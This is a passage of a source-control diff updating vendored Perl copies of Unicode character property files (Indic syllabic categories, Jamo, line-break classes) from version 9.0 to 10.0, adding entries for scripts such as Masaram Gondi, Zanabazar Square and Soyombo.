 11C30..11C36  ; Vowel_Dependent # Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3B  ; Vowel_Dependent # Mn   [4] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI VOWEL SIGN AU
@@ -600,6 +638,11 @@
 11CB1         ; Vowel_Dependent # Mc       MARCHEN VOWEL SIGN I
 11CB2..11CB3  ; Vowel_Dependent # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4         ; Vowel_Dependent # Mc       MARCHEN VOWEL SIGN O
+11D31..11D36  ; Vowel_Dependent # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; Vowel_Dependent # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Vowel_Dependent # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F         ; Vowel_Dependent # Mn       MASARAM GONDI VOWEL SIGN AU
+11D43         ; Vowel_Dependent # Mn       MASARAM GONDI SIGN CANDRA
 
 # ================================================
 
@@ -637,6 +680,8 @@
 2010..2014    ; Consonant_Placeholder # Pd   [5] HYPHEN..EM DASH
 25CC          ; Consonant_Placeholder # So       DOTTED CIRCLE
 AA74..AA76    ; Consonant_Placeholder # Lo   [3] MYANMAR LOGOGRAM KHAMTI OAY..MYANMAR LOGOGRAM KHAMTI HM
+11A3F         ; Consonant_Placeholder # Po       ZANABAZAR SQUARE INITIAL HEAD MARK
+11A45         ; Consonant_Placeholder # Po       ZANABAZAR SQUARE INITIAL DOUBLE-LINED HEAD MARK
 
 # ================================================
 
@@ -791,8 +836,11 @@
 1160E..1162F  ; Consonant # Lo  [34] MODI LETTER KA..MODI LETTER LLA
 1168A..116AA  ; Consonant # Lo  [33] TAKRI LETTER KA..TAKRI LETTER RRA
 11700..11719  ; Consonant # Lo  [26] AHOM LETTER KA..AHOM LETTER JHA
+11A0B..11A32  ; Consonant # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A5C..11A83  ; Consonant # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
 11C0E..11C2E  ; Consonant # Lo  [33] BHAIKSUKI LETTER KA..BHAIKSUKI LETTER HA
 11C72..11C8F  ; Consonant # Lo  [30] MARCHEN LETTER KA..MARCHEN LETTER A
+11D0C..11D30  ; Consonant # Lo  [37] MASARAM GONDI LETTER KA..MASARAM GONDI LETTER TRA
 
 # ================================================
 
@@ -822,11 +870,13 @@
 
 # Indic_Syllabic_Category=Consonant_Prefixed
 
-# Cluster-intial consonants
+# Cluster-initial consonants
 
 # [Not derivable]
 
 111C2..111C3  ; Consonant_Prefixed # Lo   [2] SHARADA SIGN JIHVAMULIYA..SHARADA SIGN UPADHMANIYA
+11A3A         ; Consonant_Prefixed # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A86..11A89  ; Consonant_Prefixed # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
 
 # ================================================
 
@@ -837,16 +887,20 @@
 # [Not derivable]
 
 0D4E          ; Consonant_Preceding_Repha # Lo       MALAYALAM LETTER DOT REPH
+11D46         ; Consonant_Preceding_Repha # Lo       MASARAM GONDI REPHA
 
 # ================================================
 
 # Indic_Syllabic_Category=Consonant_Succeeding_Repha
 
-# Repha Form of RA (reanalyzed in some scripts), when succeeding the main consonant
+# Repha Form of RA (reanalyzed in some scripts), when succeeding the main consonant.
+# Additionally, U+1A5A TAI THAM CONSONANT SIGN LOW PA has been temporarily classified
+# in this class due to its behavior, although it is not a RA.
 
 # [Not derivable]
 
 17CC          ; Consonant_Succeeding_Repha # Mn       KHMER SIGN ROBAT
+1A5A          ; Consonant_Succeeding_Repha # Mn       TAI THAM CONSONANT SIGN LOW PA
 1B03          ; Consonant_Succeeding_Repha # Mn       BALINESE SIGN SURANG
 1B81          ; Consonant_Succeeding_Repha # Mn       SUNDANESE SIGN PANGLAYAR
 A982          ; Consonant_Succeeding_Repha # Mn       JAVANESE SIGN LAYAR
@@ -862,6 +916,8 @@
 0F8D..0F97    ; Consonant_Subjoined # Mn  [11] TIBETAN SUBJOINED SIGN LCE TSA CAN..TIBETAN SUBJOINED LETTER JA
 0F99..0FBC    ; Consonant_Subjoined # Mn  [36] TIBETAN SUBJOINED LETTER NYA..TIBETAN SUBJOINED LETTER FIXED-FORM RA
 1929..192B    ; Consonant_Subjoined # Mc   [3] LIMBU SUBJOINED LETTER YA..LIMBU SUBJOINED LETTER WA
+1A57          ; Consonant_Subjoined # Mc       TAI THAM CONSONANT SIGN LA TANG LAI
+1A5B..1A5E    ; Consonant_Subjoined # Mn   [4] TAI THAM CONSONANT SIGN HIGH RATHA OR LOW PA..TAI THAM CONSONANT SIGN SA
 1BA1          ; Consonant_Subjoined # Mc       SUNDANESE CONSONANT SIGN PAMINGKAL
 1BA2..1BA3    ; Consonant_Subjoined # Mn   [2] SUNDANESE CONSONANT SIGN PANYAKRA..SUNDANESE CONSONANT SIGN PANYIKU
 1BAC..1BAD    ; Consonant_Subjoined # Mn   [2] SUNDANESE CONSONANT SIGN PASANGAN MA..SUNDANESE CONSONANT SIGN PASANGAN WA
@@ -894,6 +950,8 @@
 AA33..AA34    ; Consonant_Medial # Mc   [2] CHAM CONSONANT SIGN YA..CHAM CONSONANT SIGN RA
 AA35..AA36    ; Consonant_Medial # Mn   [2] CHAM CONSONANT SIGN LA..CHAM CONSONANT SIGN WA
 1171D..1171F  ; Consonant_Medial # Mn   [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA
+11A3B..11A3E  ; Consonant_Medial # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11D47         ; Consonant_Medial # Mn       MASARAM GONDI RA-KARA
 
 # ================================================
 
@@ -907,8 +965,7 @@
 1933..1938    ; Consonant_Final # Mc   [6] LIMBU SMALL LETTER TA..LIMBU SMALL LETTER LA
 1939          ; Consonant_Final # Mn       LIMBU SIGN MUKPHRENG
 19C1..19C7    ; Consonant_Final # Lo   [7] NEW TAI LUE LETTER FINAL V..NEW TAI LUE LETTER FINAL B
-1A57          ; Consonant_Final # Mc       TAI THAM CONSONANT SIGN LA TANG LAI
-1A58..1A5E    ; Consonant_Final # Mn   [7] TAI THAM SIGN MAI KANG LAI..TAI THAM CONSONANT SIGN SA
+1A58..1A59    ; Consonant_Final # Mn   [2] TAI THAM SIGN MAI KANG LAI..TAI THAM CONSONANT SIGN FINAL NGA
 1BBE..1BBF    ; Consonant_Final # Lo   [2] SUNDANESE LETTER FINAL K..SUNDANESE LETTER FINAL M
 1BF0..1BF1    ; Consonant_Final # Mn   [2] BATAK CONSONANT SIGN NG..BATAK CONSONANT SIGN H
 1C2D..1C33    ; Consonant_Final # Mn   [7] LEPCHA CONSONANT SIGN K..LEPCHA CONSONANT SIGN T
@@ -921,6 +978,7 @@
 AA4C          ; Consonant_Final # Mn       CHAM CONSONANT SIGN FINAL M
 AA4D          ; Consonant_Final # Mc       CHAM CONSONANT SIGN FINAL H
 ABDB..ABE2    ; Consonant_Final # Lo   [8] MEETEI MAYEK LETTER KOK LONSUM..MEETEI MAYEK LETTER I LONSUM
+11A8A..11A95  ; Consonant_Final # Mn  [12] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO FINAL CONSONANT SIGN -A
 
 # ================================================
 
@@ -993,6 +1051,7 @@
 
 0A71          ; Gemination_Mark # Mn       GURMUKHI ADDAK
 11237         ; Gemination_Mark # Mn       KHOJKI SIGN SHADDA
+11A98         ; Gemination_Mark # Mn       SOYOMBO GEMINATION MARK
 
 # ================================================
 
@@ -1003,10 +1062,12 @@
 # [Not derivable]
 
 0951..0952    ; Cantillation_Mark # Mn   [2] DEVANAGARI STRESS SIGN UDATTA..DEVANAGARI STRESS SIGN ANUDATTA
+0AFA..0AFC    ; Cantillation_Mark # Mn   [3] GUJARATI SIGN SUKUN..GUJARATI SIGN MADDAH
 1CD0..1CD2    ; Cantillation_Mark # Mn   [3] VEDIC TONE KARSHANA..VEDIC TONE PRENKHA
 1CD4..1CE0    ; Cantillation_Mark # Mn  [13] VEDIC SIGN YAJURVEDIC MIDLINE SVARITA..VEDIC TONE RIGVEDIC KASHMIRI INDEPENDENT SVARITA
 1CE1          ; Cantillation_Mark # Mc       VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA
 1CF4          ; Cantillation_Mark # Mn       VEDIC TONE CANDRA ABOVE
+1CF7          ; Cantillation_Mark # Mc       VEDIC SIGN ATIKRAMA
 1CF8..1CF9    ; Cantillation_Mark # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
 A8E0..A8F1    ; Cantillation_Mark # Mn  [18] COMBINING DEVANAGARI DIGIT ZERO..COMBINING DEVANAGARI SIGN AVAGRAHA
 1123E         ; Cantillation_Mark # Mn       KHOJKI SIGN SUKUN
@@ -1041,12 +1102,13 @@
 17D3          ; Syllable_Modifier # Mn       KHMER SIGN BATHAMASAT
 17DD          ; Syllable_Modifier # Mn       KHMER SIGN ATTHACAN
 193B          ; Syllable_Modifier # Mn       LIMBU SIGN SA-I
-1A7A..1A7C    ; Syllable_Modifier # Mn   [3] TAI THAM SIGN RA HAAM..TAI THAM SIGN KHUEN-LUE KARAN
+1A7B..1A7C    ; Syllable_Modifier # Mn   [2] TAI THAM SIGN MAI SAM..TAI THAM SIGN KHUEN-LUE KARAN
 1A7F          ; Syllable_Modifier # Mn       TAI THAM COMBINING CRYPTOGRAMMIC DOT
 1C36          ; Syllable_Modifier # Mn       LEPCHA SIGN RAN
 1DFB          ; Syllable_Modifier # Mn       COMBINING DELETION MARK
 2074          ; Syllable_Modifier # No       SUPERSCRIPT FOUR
 2082..2084    ; Syllable_Modifier # No   [3] SUBSCRIPT TWO..SUBSCRIPT FOUR
+11A33         ; Syllable_Modifier # Mn       ZANABAZAR SQUARE FINAL CONSONANT MARK
 
 # ================================================
 
@@ -1095,6 +1157,10 @@
 # Indic_Syllabic_Category=Number
 
 # Number (can be used as vowel-holders like consonant placeholders)
+# Note: A number may even hold subjoined consonants which may in turn
+# have been formed using a virama or a stacker, e.g. the sequence
+# <U+1A93, U+1A60, U+1A34> where THAI THAM LETTER LOW TA is subjoined to
+# TAI THAM THAM DIGIT THREE using an invisible stacker.
 
 # [Not derivable]
 
@@ -1143,6 +1209,7 @@
 1173A..1173B  ; Number # No   [2] AHOM NUMBER TEN..AHOM NUMBER TWENTY
 11C50..11C59  ; Number # Nd  [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE
 11C5A..11C6C  ; Number # No  [19] BHAIKSUKI NUMBER ONE..BHAIKSUKI HUNDREDS UNIT MARK
+11D50..11D59  ; Number # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/Jamo.txt
===================================================================
--- vendor/perl/dist/lib/unicore/Jamo.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/Jamo.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# Jamo-9.0.0.txt
-# Date: 2016-01-21, 22:00:00 GMT [KW, LI]
-# © 2016 Unicode®, Inc.
+# Jamo-10.0.0.txt
+# Date: 2017-02-15, 00:00:00 GMT [KW, LI]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Unicode Character Database
@@ -8,7 +8,7 @@
 #
 # This file defines the Jamo_Short_Name property.
 #
-# See Section 3.12 of The Unicode Standard, Version 9.0
+# See Section 3.12 of The Unicode Standard, Version 10.0
 # for more information.
 #
 # Each line contains two fields, separated by a semicolon.

Modified: vendor/perl/dist/lib/unicore/LineBreak.txt
===================================================================
--- vendor/perl/dist/lib/unicore/LineBreak.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/LineBreak.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# LineBreak-9.0.0.txt
-# Date: 2016-05-26, 01:00:00 GMT [KW, LI]
-# © 2016 Unicode®, Inc.
+# LineBreak-10.0.0.txt
+# Date: 2017-03-08, 02:00:00 GMT [KW, LI]
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -273,6 +273,7 @@
 0840..0858;AL     # Lo    [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
 0859..085B;CM     # Mn     [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK
 085E;AL           # Po         MANDAIC PUNCTUATION
+0860..086A;AL     # Lo    [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4;AL     # Lo    [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD;AL     # Lo     [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 08D4..08E1;CM     # Mn    [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA
@@ -327,6 +328,8 @@
 09F9;PO           # No         BENGALI CURRENCY DENOMINATOR SIXTEEN
 09FA;AL           # So         BENGALI ISSHAR
 09FB;PR           # Sc         BENGALI GANDA MARK
+09FC;AL           # Lo         BENGALI LETTER VEDIC ANUSVARA
+09FD;AL           # Po         BENGALI ABBREVIATION SIGN
 0A01..0A02;CM     # Mn     [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI
 0A03;CM           # Mc         GURMUKHI SIGN VISARGA
 0A05..0A0A;AL     # Lo     [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
@@ -371,6 +374,7 @@
 0AF0;AL           # Po         GUJARATI ABBREVIATION SIGN
 0AF1;PR           # Sc         GUJARATI RUPEE SIGN
 0AF9;AL           # Lo         GUJARATI LETTER ZHA
+0AFA..0AFF;CM     # Mn     [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01;CM           # Mn         ORIYA SIGN CANDRABINDU
 0B02..0B03;CM     # Mc     [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B05..0B0C;AL     # Lo     [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L
@@ -462,11 +466,12 @@
 0CE2..0CE3;CM     # Mn     [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
 0CE6..0CEF;NU     # Nd    [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE
 0CF1..0CF2;AL     # Lo     [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA
-0D01;CM           # Mn         MALAYALAM SIGN CANDRABINDU
+0D00..0D01;CM     # Mn     [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03;CM     # Mc     [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
 0D05..0D0C;AL     # Lo     [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
 0D0E..0D10;AL     # Lo     [3] MALAYALAM LETTER E..MALAYALAM LETTER AI
 0D12..0D3A;AL     # Lo    [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA
+0D3B..0D3C;CM     # Mn     [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3D;AL           # Lo         MALAYALAM SIGN AVAGRAHA
 0D3E..0D40;CM     # Mc     [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
 0D41..0D44;CM     # Mn     [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
@@ -824,6 +829,7 @@
 1CF2..1CF3;CM     # Mc     [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF4;CM           # Mn         VEDIC TONE CANDRA ABOVE
 1CF5..1CF6;AL     # Lo     [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7;CM           # Mc         VEDIC SIGN ATIKRAMA
 1CF8..1CF9;CM     # Mn     [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
 1D00..1D2B;AL     # Ll    [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
 1D2C..1D6A;AL     # Lm    [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
@@ -832,7 +838,7 @@
 1D79..1D7F;AL     # Ll     [7] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER UPSILON WITH STROKE
 1D80..1D9A;AL     # Ll    [27] LATIN SMALL LETTER B WITH PALATAL HOOK..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK
 1D9B..1DBF;AL     # Lm    [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA
-1DC0..1DF5;CM     # Mn    [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9;CM     # Mn    [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF;CM     # Mn     [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 1E00..1EFF;AL     # L&   [256] LATIN CAPITAL LETTER A WITH RING BELOW..LATIN SMALL LETTER Y WITH LOOP
 1F00..1F15;AL     # L&    [22] GREEK SMALL LETTER ALPHA WITH PSILI..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
@@ -940,7 +946,8 @@
 20BB;PO           # Sc         NORDIC MARK SIGN
 20BC..20BD;PR     # Sc     [2] MANAT SIGN..RUBLE SIGN
 20BE;PO           # Sc         LARI SIGN
-20BF..20CF;PR     # Cn    [17] <reserved-20BF>..<reserved-20CF>
+20BF;PR           # Sc         BITCOIN SIGN
+20C0..20CF;PR     # Cn    [16] <reserved-20C0>..<reserved-20CF>
 20D0..20DC;CM     # Mn    [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
 20DD..20E0;CM     # Me     [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH
 20E1;CM           # Mn         COMBINING LEFT RIGHT ARROW ABOVE
@@ -1103,7 +1110,7 @@
 23DC..23E1;AL     # Sm     [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET
 23E2..23EF;AL     # So    [14] WHITE TRAPEZIUM..BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
 23F0..23F3;ID     # So     [4] ALARM CLOCK..HOURGLASS WITH FLOWING SAND
-23F4..23FE;AL     # So    [11] BLACK MEDIUM LEFT-POINTING TRIANGLE..POWER SLEEP SYMBOL
+23F4..23FF;AL     # So    [12] BLACK MEDIUM LEFT-POINTING TRIANGLE..OBSERVER EYE SYMBOL
 2400..2426;AL     # So    [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO
 2440..244A;AL     # So    [11] OCR HOOK..OCR DOUBLE BACKSLASH
 2460..249B;AI     # No    [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP
@@ -1295,7 +1302,7 @@
 2B76..2B95;AL     # So    [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
 2B98..2BB9;AL     # So    [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX
 2BBD..2BC8;AL     # So    [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-2BCA..2BD1;AL     # So     [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BCA..2BD2;AL     # So     [9] TOP HALF BLACK CIRCLE..GROUP MARK
 2BEC..2BEF;AL     # So     [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 2C00..2C2E;AL     # Lu    [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
 2C30..2C5E;AL     # Ll    [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE
@@ -1373,7 +1380,7 @@
 2E40;BA           # Pd         DOUBLE HYPHEN
 2E41;BA           # Po         REVERSED COMMA
 2E42;OP           # Ps         DOUBLE LOW-REVERSED-9 QUOTATION MARK
-2E43..2E44;BA     # Po     [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
+2E43..2E49;BA     # Po     [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
 2E80..2E99;ID     # So    [26] CJK RADICAL REPEAT..CJK RADICAL RAP
 2E9B..2EF3;ID     # So    [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE
 2F00..2FD5;ID     # So   [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE
@@ -1472,7 +1479,7 @@
 30FC;CJ           # Lm         KATAKANA-HIRAGANA PROLONGED SOUND MARK
 30FD..30FE;NS     # Lm     [2] KATAKANA ITERATION MARK..KATAKANA VOICED ITERATION MARK
 30FF;ID           # Lo         KATAKANA DIGRAPH KOTO
-3105..312D;ID     # Lo    [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E;ID     # Lo    [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E;ID     # Lo    [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 3190..3191;ID     # So     [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK
 3192..3195;ID     # No     [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK
@@ -1495,8 +1502,8 @@
 3400..4DB5;ID     # Lo  [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
 4DB6..4DBF;ID     # Cn    [10] <reserved-4DB6>..<reserved-4DBF>
 4DC0..4DFF;AL     # So    [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION
-4E00..9FD5;ID     # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
-9FD6..9FFF;ID     # Cn    [42] <reserved-9FD6>..<reserved-9FFF>
+4E00..9FEA;ID     # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
+9FEB..9FFF;ID     # Cn    [21] <reserved-9FEB>..<reserved-9FFF>
 A000..A014;ID     # Lo    [21] YI SYLLABLE IT..YI SYLLABLE E
 A015;NS           # Lm         YI SYLLABLE WU
 A016..A48C;ID     # Lo  [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -2640,6 +2647,7 @@
 102E1..102FB;AL   # No    [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED
 10300..1031F;AL   # Lo    [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
 10320..10323;AL   # No     [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
+1032D..1032F;AL   # Lo     [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE
 10330..10340;AL   # Lo    [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
 10341;AL          # Nl         GOTHIC LETTER NINETY
 10342..10349;AL   # Lo     [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
@@ -2903,6 +2911,33 @@
 118E0..118E9;NU   # Nd    [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 118EA..118F2;AL   # No     [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY
 118FF;AL          # Lo         WARANG CITI OM
+11A00;AL          # Lo         ZANABAZAR SQUARE LETTER A
+11A01..11A06;CM   # Mn     [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08;CM   # Mc     [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A;CM   # Mn     [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A0B..11A32;AL   # Lo    [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A33..11A38;CM   # Mn     [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39;CM          # Mc         ZANABAZAR SQUARE SIGN VISARGA
+11A3A;AL          # Lo         ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3B..11A3E;CM   # Mn     [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A3F;BB          # Po         ZANABAZAR SQUARE INITIAL HEAD MARK
+11A40;AL          # Po         ZANABAZAR SQUARE CLOSING HEAD MARK
+11A41..11A44;BA   # Po     [4] ZANABAZAR SQUARE MARK TSHEG..ZANABAZAR SQUARE MARK LONG TSHEG
+11A45;BB          # Po         ZANABAZAR SQUARE INITIAL DOUBLE-LINED HEAD MARK
+11A46;AL          # Po         ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A47;CM          # Mn         ZANABAZAR SQUARE SUBJOINER
+11A50;AL          # Lo         SOYOMBO LETTER A
+11A51..11A56;CM   # Mn     [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58;CM   # Mc     [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B;CM   # Mn     [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A5C..11A83;AL   # Lo    [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89;AL   # Lo     [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A8A..11A96;CM   # Mn    [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97;CM          # Mc         SOYOMBO SIGN VISARGA
+11A98..11A99;CM   # Mn     [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
+11A9A..11A9C;BA   # Po     [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11A9E..11AA0;BB   # Po     [3] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO HEAD MARK WITH MOON AND SUN
+11AA1..11AA2;BA   # Po     [2] SOYOMBO TERMINAL MARK-1..SOYOMBO TERMINAL MARK-2
 11AC0..11AF8;AL   # Lo    [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08;AL   # Lo     [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E;AL   # Lo    [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
@@ -2925,6 +2960,16 @@
 11CB2..11CB3;CM   # Mn     [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4;CM          # Mc         MARCHEN VOWEL SIGN O
 11CB5..11CB6;CM   # Mn     [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D00..11D06;AL   # Lo     [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09;AL   # Lo     [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30;AL   # Lo    [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D31..11D36;CM   # Mn     [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A;CM          # Mn         MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D;CM   # Mn     [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45;CM   # Mn     [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D46;AL          # Lo         MASARAM GONDI REPHA
+11D47;CM          # Mn         MASARAM GONDI RA-KARA
+11D50..11D59;NU   # Nd    [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 12000..12399;AL   # Lo   [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E;AL   # Nl   [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12470..12474;BA   # Po     [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
@@ -2971,10 +3016,12 @@
 16F51..16F7E;CM   # Mc    [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
